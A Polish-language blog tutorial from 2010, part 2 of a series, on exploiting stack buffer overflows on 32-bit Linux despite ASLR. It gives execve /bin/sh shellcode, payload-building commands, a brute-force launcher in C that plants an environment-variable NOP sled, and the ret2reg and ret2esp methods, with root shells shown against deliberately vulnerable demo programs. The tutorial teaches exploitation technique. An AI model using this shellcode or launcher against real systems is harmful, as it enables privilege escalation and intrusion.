MindShifter - nFire.eu   MindShifter - nFire.eu
  [ Zaloguj | Rejestracja ]     Dzisiaj jest : Piątek, 22 Czerwiec 2018 
Menu strony
 
Artykuły

Wszystkie artykuły » Linux » h4k1n9 » Buffer Overflow w pigułce - część 2

Buffer Overflow w pigułce - część 2

Autor: Dariusz Jaskuła (MindShifter) | Wtorek, 28 Wrzesień 2010 19:54


BOWykorzystując błąd przepełnienia bufora (Buffer Overflow - BO/BOF) można doprowadzić do wykonania dowolnego kodu.

W systemach Linuks z kernelem od 2.6.8 nie jest możliwe wykorzystanie błędu przepełnienia bufora w tradycyjny, prosty sposób. Wprowadzono w nich mechanizm ASLR (Address Space Layer Randomization - Warstwa Losowości Przestrzeni Adresowej).

W kernelach tych nadal można doprowadzić do przepełnienia bufora i wykonania złośliwego kodu, jednak jest to nieco trudniejsze.

Artykuł opisuje BO w systemach linuksowych, na platformie 32-bitowej.

W drugiej części zajmę się przepełnieniem bufora w najnowszych kernelach.



Przepełnienie bufora - kernel z ASLR


Przed rozpoczęciem zabawy sprawdzamy wersję kernela:
$ uname -r
2.6.26-2-686
Wygląda na to, że system powinien posiadać ASLR. Jak sprawdzić, czy w kernelu ASLR jest załączone? Mechanizm ten kontroluje wartość w /proc/sys/kernel/randomize_va_space:
$ cat /proc/sys/kernel/randomize_va_space
2
W tym wypadku ASLR jest załączone. Zdarza się, że mimo iż wersja kernela wskazuje na obecność ASLR, to w systemie jest on wyłączony.

ASLR możemy wyłączyć przez wpisanie 0 do wspomnianego pliku (root):
# echo 0 > /proc/sys/kernel/randomize_va_space
ASLR zostanie załączony automatycznie po restarcie systemu (/proc jest katalogiem wirtualnym, tworzonym przy starcie systemu).

Do naszych dalszych rozważań pozostawimy go załączonego.

Wracamy do testowania przepełnienia bufora w naszym programie. Dla przypomnienia kod programu bo3 i bo4:
// bo3.c
#include <stdio.h>

void f(char *s) {
  char buf[100];
  strcpy(buf, s);
}

void main(int argc, char *argv[]) {
  if(argc>1)
    f(argv[1]);
}
// koniec bo3.c
// bo4.c
#include <stdio.h>

void f(char *s) {
  char buf[100];
  printf("buf: %x\n", &buf);
  strcpy(buf, s);
}

void main(int argc, char *argv[]) {
  if(argc>1)
    f(argv[1]);
}
// koniec bo4.c
Sprawdzaliśmy już, że potrzebujemy 108 bajtów do nadpisania adresu powrotu, pod ASLR nic się w tym względzie nie ma prawa zmienić. Sprawdzimy to na przykładzie programu bo4, który przy okazji pokaże nam adresy bufora:
$ gdb bo4
(gdb) r `perl -e 'print "a"x108'`
Starting program: /home/mind/bo4 `perl -e 'print "a"x108'`
buf: bfdde968

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) quit
The program is running.  Exit anyway? (y or n) y
108 liter "a" nadal nadpisuje adres powrotu. "Jedyne" co się zmieni to różne adresy bufora wynikające z losowości przestrzeni adresowej stosu (ASLR). Przy każdym uruchomieniu programu stos rozpoczynać się będzie od innego adresu. ASLR przedstawia poniższy rysunek.

pamięć ASLR

Ta losowość stanowi dla nas nie lada problem. Straciliśmy właśnie wartość do nadpisania adresu powrotu. Jakiego adresu bufora mamy użyć skoro jest on losowy? Czy nie mamy możliwości doprowadzenia do wywołania naszego shellcodu?

Po kilkunastu uruchomieniach programu (./bo4 `perl -e 'print "a"x108'`) widzimy, że możliwych kombinacji adresów nie jest jednak tak wiele jak się wydaje na początku (nadal jest ich bardzo dużo):
buf: bfd73a28
buf: bfd26338
buf: bfb085d8
buf: bfd53088
buf: bfe73f68
buf: bfea4838
buf: bfbc0f68
buf: bf8f7558
buf: bfc6b618
buf: bffd85f8
buf: bf9c2158
buf: bfe9a858
buf: bfeda238
buf: bfb344c8
buf: bfdb10d8
buf: bfd1e578
buf: bf926268
buf: bf9c6798
buf: bfbf7308
buf: bfc0bb58
Adres bufora co prawda wygląda na losowy, lecz zawiera pewne cechy wspólne. Zagłębiając się w opis struktury stosu dowiemy się, że kernel używa 23 bitów do ustalenia relatywnego adresu na stosie, co daje nam 8.388.608 kombinacji adresów (2^23=8MB). Oznacza to, że podczas każdego uruchomienia programu adres bazowy stosu jest wybierany losowo z przedziału 8MB w pamięci.

Z naszych obserwacji wynika, że początek i koniec adresu pozostaje taki sam. W naszym przypadku za każdym razem adres pasuje do schematu 0xbf XX XX X8. Zmieniają się jedynie 2,5 bajta w adresie, co daje nam 1.048.576 możliwych kombinacji adresów (16^5 lub 256*256*16).

Zwiększeniem naszych szans na trafienie w odpowiedni adres mogło by być skonstruowanie takiego ładunku:
ładunek

Shellcode poprzedzamy NOP-ami. Za shellcodem następuje przypuszczalny adres bufora.

Ponieważ cały ładunek ma 108 bajtów, z tego 24 bajty zajmuje shellcode i 4 bajty adres, to pozostaje nam 80 bajtów przed shellcodem na instrukcje NOP. Trafiając z adresem w którykolwiek z nich wywołamy shellcode. Jako adresu możemy użyć któregokolwiek z otrzymanych wcześniej w wyniku uruchomienia programu. Przy n-tym wywołaniu programu adres ten w końcu będzie zawierał się gdzieś między początkiem bufora i początkiem shellcodu - nastąpi skok do sekwencji NOP-ów i wykonanie shellcodu.

Piszemy ładunek wybierając sobie adres 0xbf8f7558:
$ perl -e 'print "\x90"x80' > ladunek
$ echo -en "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" >> ladunek
$ echo -en "\x58\x75\x87\xbf" >> ladunek
Spróbujmy wywołać shella:
$ ./bo4 `cat ladunek`
Jeśli mamy bardzo, ale to bardzo dużo szczęścia uzyskamy powłokę. Z 99% pewnością mogę stwierdzić, że jednak tak szybko jej nie uzyskamy.

Ponieważ program będziemy musieli uruchamiać mnóstwo razy, do tego celu napiszemy prosty program wywołujący bo4 (z odpowiednim ładunkiem) w pętli:
// brute_test.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char bufor[110];
char sc[]="\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char adres[] = "\x58\x75\x87\xbf";

int main(int argc, char *argv[]) {
  int pid, ret, i=0;
  memset(bufor, 0x90, 108);
  memcpy(&bufor[80], sc, strlen(sc));
  memcpy(&bufor[104], adres, strlen(adres));
  bufor[108] = "\0x00";

  do {
    pid=fork();
    switch(pid)
    {
      case 0:
        execl(argv[1], argv[1], bufor,  NULL);
        exit(1);
        break;
      default:
        waitpid(pid,&ret,0);
        break;
     }
  } while (ret);
}
// koniec brute_test.c
Kompilujemy i uruchamiamy program:
$ make brute_test
./brute_test bo4
Po ok. 500.000 - 1.000.000 przebiegach pętli wywołującej potomka (parę/paręnaście minut działania programu brute_test) powinniśmy wywołać shellcode (niekiedy się to nie udaje ze względu na skok pod akurat taki adres, który zakończy program bez wywołania powłoki). Takie rozwiązanie stanowczo nas nie zadowala.

Metoda brute force


W metodzie tej wykorzystamy wywoływanie podatnego programu przez inny proces przekazujący potomkowi dość dużą zmienną środowiskową. Zmienna ta zawierać będzię same NOP-y i na końcu shellcode.

Zmienne środowiskowe znajdują się na samym początku stosu. Stos rozpoczyna się od adresu 0xc0000000 odejmując od niego 4 bajty (pierwsza wartość odłożona na stosie - pod którą na pewno zmienna środowiskowa nie będzie odłożona) otrzymujemy 0xbffffffc. Od wartości tej odejmiemy długość zmiennej środowiskowej i posłużymy się tym adresem jako naszym docelowym adresem powrotu. Ze względu na ASLR początek stosu rozpoczynać się będzie od różnych wartości, lecz stosując odpowiednio dużą zmienną środowiskową (ale nie możemy z tym przesadzić) uzyskamy dość duży przedział adresów, w którch mamy szansę się wstrzelić.

Ładunek przekazany do potomka będzie zawierał prawdopodobny adres trafiający w adres zmiennej środowiskowej (sam ładunek może składać się tylko z powtarzającego się adresu - chodzi jedynie o nadpisanie nim adresu powrotu).

Działanie to przedstawia poniższy rysunek:
ładunek brute force

// brute.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Długość naszej zmiennej (w bajtach)
#define DLUGOSC 128000

// Adres jakim nadpiszemy adres powrotu
#define RET 0xc0000000-DLUGOSC-4

char sh[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[]) {
  // Bufor zawierający powtarzający się adres
  char *bufor = NULL;
  char env_var[DLUGOSC];
  char *env[2] = { env_var, NULL };
  int *p, i, status, pid, rozmiar_ladunku;

  if (argc<3) {
    fprintf(stderr, "Użycie: %s program rozmiar_ładunku\n", argv[0]);
    exit(1);
  }
  
  rozmiar_ladunku = atoi(argv[2]);
  bufor = (char*) malloc(rozmiar_ladunku);

  // Wypełniamy naszą zmienną NOP-ami i na końcu shellcodem
  memset(env_var, 0x90, DLUGOSC-strlen(sh));
  memcpy(env_var + DLUGOSC - strlen(sh) - 1, sh, strlen(sh));
  // kończymy łańcuch
  env_var[DLUGOSC-1]= "\0x00";

  // bufor wypełniamy prawdopodobnym adresem (RET)
  p = (int*) bufor;
  for (i=0; i<rozmiar_ladunku; i+=sizeof(int), p++)
    *p=RET;
  *p=0;

  do {
    pid=fork();
    switch(pid) {
      case 0:
        execle( argv[1], argv[1], bufor, NULL, env);
        exit(1);
        break;
      default:
        waitpid(pid, &status, 0);
        break;
    }
  } while(status);
}
// koniec brute.c
Nadeszła chwila prawdy:
$ ./brute bo4 108
buf: bfaff7d8
buf: bfabbc18
buf: bfd15528
buf: bfba05e8
buf: bfe387d8
buf: bf9ede58
buf: bf9ba2b8
buf: bf9b8188
buf: bf88e7a8
buf: bfc0d7f8
buf: bfd42538
buf: bf8e53b8
buf: bfb5e0b8
buf: bfb885a8
buf: bfe114a8
buf: bfc06658
buf: bffc1158
sh-3.2# whoami
root
Wow - zaledwie po 17 wywołaniach dostaliśmy powłokę z uprawnieniami użytkownika root a wszystko trwało ułamek sekundy! Oczywiście zdarza się, że program brute będzie musiał wywoływać proces bo4 kilkadziesiąt (lub trochę więcej) razy ale jest to bardzo szybkie rozwiązanie.

Program brute jest uniwersalnym narzędziem pozwalającym wywoływać powłokę w programach z potencjalnym błędem przepełnienia bufora. Musimy jedynie znać długość ładunku nadpisującego adres powrotu. Jest ostatecznym rozwiązaniem, jeśli inne metody zawiodą.

Metoda ret2reg


W podatnym programie, przed wywołaniem funkcji przepełniającej bufor jest prawdopodobne odnalezienie w rejestrach adresu wskazującego na nasz ładunek. W kodzie podatnego programu prawdopodobne jest również odnalezienie instrukcji skoku/wywołania (jmp/call) adresu wskazywanego przez ten rejestr.

Metoda ret2reg polega na wstrzyknięciu shellcodu, wypełnienia bufora wartościami (NOP-y) i na końcu nadpisania adres powrotu adresem naszej instrukcji jmp/call *%reg. Instrukcja ta znajduje się w segmencie kodu posiada więc stały adres.

Wykorzystamy gdb aby sprawdzić rejestry tuż przed podatną funkcją:
$ gdb bo3
(gdb) b 6
(gdb) r "Znajdź mnie"
Starting program: /home/mind/bo3 "Znajdź mnie"

Breakpoint 1, f (s=0xbfe15831 "Znajdź mnie") at bo3.c:6
6	  strcpy(buf, s);
zmienna s wskazuje na adres 0xbfe15831. Sprawdźmy, czy któryś z rejestrów zawiera tą wartość:
(gdb) i r
eax            0xbfe15831	-1075750863
ecx            0xac483490	-1404554096
edx            0x2	2
ebx            0xb7702ff4	-1217384460
esp            0xbfe147d0	0xbfe147d0
ebp            0xbfe1483c	0xbfe1483c
esi            0x80483f0	134513648
edi            0x80482f0	134513392
eip            0x80483aa	0x80483aa <f+6>
eflags         0x200282	[ SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/s $eax
0xbfe15831:	 "Znajdź mnie"
Wygląda na to, że EAX stanie się naszym celem. Zawiera on wskaźnik do naszego bufora. Musimy przeszukać kod naszego podatnego programu i znaleźć w nim instrukcje jmp/call *%eax.

Do jej odnalezienia posłużymy się objdump-em. W języku maszynowym skoki i wywołania interesujących nas rejestrów wyglądają tak:
0xe0ff = jmp *%eax
0xe1ff = jmp *%ecx
0xe2ff = jmp *%edx
0xe3ff = jmp *%ebx
0xe4ff = jmp *%esp
0xe5ff = jmp *%ebp
0xd0ff = call *%eax
0xd1ff = call *%ecx
0xd2ff = call *%edx
0xd3ff = call *%ebx
0xd4ff = call *%esp
0xd5ff = call *%ebp
Szukając jmp/call *%eax powinniśmy szukać ciągu "ff e0" (jmp) lub "ff d0" (call):
$ objdump -d bo3 |grep "ff [de]0"
 804839f:	ff d0                	call   *%eax
 804846b:	ff d0                	call   *%eax
W naszym programie znaleźliśmy dwa adresy z tymi instrukcjami. Oczywiście możemy użyć któregokolwiek z nich. Tworzymy ładunek z adresem 0x0804839f:
$ echo -en "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" > ladunek
$ perl -e 'print "\x90"x80' >> ladunek
$ echo -en "\x9f\x83\x04\x08" >> ladunek
i spróbujemy uzyskać powłokę:
$ ./bo3 `cat ladunek`
sh-3.2# whoami
root
ładunek

Jak działa ta metoda:
Przy powrocie z funkcji, w której doszło do przepełnienia bufora (powrót z f) ze stosu ściągany jest podany przez nas adres (instrukcja call *%eax), który trafia do EIP. Procesor wykonuje tą instrukcję, czyli skacze do adresu podanego w EAX. Ponieważ w programie tak się złożyło, że EAX zawiera adres naszego ładunku to następuje wykonanie shellcodu.

Metoda ta zawiedzie, gdy EAX zostanie zmieniony jeszcze przed powrotem z funkcji a stanie się tak, np. gdy funkcja ma zwracać jakąś wartość (wartości zwracane są przez EAX) lub gdy wykonywane będą jakiekolwiek instrukcje wykorzystujące EAX.

Metoda ret2esp


W kernelach przed 2.6.18 możliwe jest zastosowanie metody ret2esp dla obiektu linux-gate.

Każdy proces zlinkowany jest z pseudo biblioteką linux-gate.so.1 (jest to DSO - Dynamicznie Współdzielony Obiekt). Możemy to sprawdzić:
$ ldd bo3
        linux-gate.so.1 =>  (0xb772a000)
        libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb75c1000)
        /lib/ld-linux.so.2 (0xb7723000)
W kernelach tych obiekt ten linkowany jest zawsze pod tym samym adresem. Można w nim odnaleźć instrukcję jmp/call *%esp a ponieważ ładowany jest zawsze pod tym samym adresem, również adresy tych instrukcji będą stałe (przynajmniej dla konkretnej maszyny). Wystarczy odnaleźć ten adres i użyć go do powrotu i umieścić za nim nasz shellcode.

W kernelach od 2.6.18 wprowadzono losowość adresu dla tego obiektu, więc metoda ta stała się nieskuteczna. Na niej jednak opiera się metoda ret2esp wykorzystująca instrukcje jmp/call *%esp nie w tym obiekcie, lecz w kodzie podatnego programu. W bardziej skomplikowanych programach znalezienie takiej instrukcji będzie prawdopodobne ale nie jest gwarantowane, tym bardziej że nowe kompilatory starają się je eliminować z kodu.

Aby ją przetestować do kodu naszego programu sztucznie wprowadzimy taką instrukcję symulując jej istnienie w programie.
// bo3_esp.c
#include <stdio.h>

void skoczek() {
  __asm__("jmp *%esp");
}

void f(char *s) {
  char buf[100];
  strcpy(buf, s);
}

void main(int argc, char *argv[]) {
  if(argc>1)
    f(argv[1]);
}
// koniec bo3_esp.c
Kompilujemy nasz program:
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o bo3_esp bo3_esp.c
Szukamy adresu instrukcji jmp/call *%esp:
$ objdump -d bo3_esp |grep "ff [de]4"
 80483a7:	ff e4                	jmp    *%esp
Odnajdujemy interesującą nas instrukcję pod adresem 0x080483a7 (znajduje się ona oczywiście we wprowadzonej przez nas funkcji skoczek):
080483a4 <skoczek>:
 80483a4:       55                      push   %ebp
 80483a5:       89 e5                   mov    %esp,%ebp
 80483a7:       ff e4                   jmp    *%esp
 80483a9:       5d                      pop    %ebp
 80483aa:       c3                      ret
W metodzie ret2esp ładunek wygląda nieco inaczej niż w pozostałych metodach. Na początku wypełnia się go NOP-ami aż do nadpisania kopii EBP (w naszym programie będą to 104 NOP-y), za nimi nadpisuje się adresu powrotu adresem instrukcji jmp/call *%esp. Dalej w ładunku przekazuje się shellcode. Ładunek tworzymy więc w taki sposób (zamiast 108 bajtów zawiera on teraz 108+24=132 bajty):
$ perl -e 'print "\x90"x104' > ladunek
$ echo -en "\xa7\x83\x04\x08" >> ladunek
$ echo -en "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" >> ladunek
i próbujemy wywołać powłokę:
$ ./bo3_esp `cat ladunek`
sh-3.2$
ładunek

Jak działa ta metoda:
Przy powrocie z funkcji, w której doszło do przepełnienia bufora (powrót z f) ze stosu ściągany jest podany przez nas adres (instrukcja jmp *%esp), który trafia do EIP. Procesor wykonuje tą instrukcję, czyli skacze do adresu podanego w ESP. Ponieważ w ESP (aktualny wierzchołek stosu) znajduje się teraz nasz shellcode to następuje jego wykonanie.

   [ Drukuj ] [ Wyślij stronę ]

Komentarze

Dodaj komentarz!


Wszystkie obrazy, grafika, tekst oraz wszelkie inne treści reprezentowana na tej stronie (oprócz niektórych z działu Download) są chronione prawami autorskimi i są wyłączną własnością autora tej strony. Wszelkie przypadki użycia i/lub publikacji są zastrzeżone na całym świecie. Wszystkie zdjęcia i inne treści są wyraźnie nie w Domenie Publicznej. Żadne zdjęcia ani inne materiały na tej stronie nie mogą być kopiowana, przechowywana, poddawane manipulacji, publikowane, sprzedawane lub cytowane w całości lub w części w jakiejkolwiek formie bez uprzedniej pisemnej zgody upoważnionego przedstawiciela tej strony.

Jako materiał chroniony prawami autorskimi, wszystkie zdjęcia umieszczone na tej stronie chronione są zgodnie z międzynarodowym prawem autorskim.

All images, graphics, text, and all other content represented on this website (except for some of the Download section) are copyrighted and are the sole property of author of this website. All use and/or publication rights are reserved worldwide. All images and all other content are expressly not in the Public Domain. No images or other content on this website may be copied, stored, manipulated, published, sold or reproduced in whole or in part in any form without the prior written authorization of an authorized representative.

As copyrighted material, all images displayed on this site are protected under international copyright laws.

....:::: © 2004-2009 MindShifter ]:::::[ kontakt: Gadu-Gadu 2644644 ::::....